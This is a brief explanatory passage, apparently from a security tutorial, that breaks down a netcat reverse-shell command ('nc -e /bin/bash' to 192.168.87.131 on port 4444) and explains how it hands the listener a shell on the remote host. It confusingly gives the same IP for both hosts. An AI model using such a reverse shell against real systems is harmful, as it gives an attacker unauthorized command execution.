



192.168.87.131 is the IP address of the remote host.

nc -e /bin/bash specifies that the netcat utility should be used to create a connection and execute the **/bin/bash** shell on the remote host.

192.168.87.131 is the IP address of the listening device.

4444 is the port number on which the netcat listener is running on the listening device.

When this command is executed on the remote host, it establishes a connection to the listening device and opens a shell on the remote host, allowing the person on the listening device to execute commands on the remote host.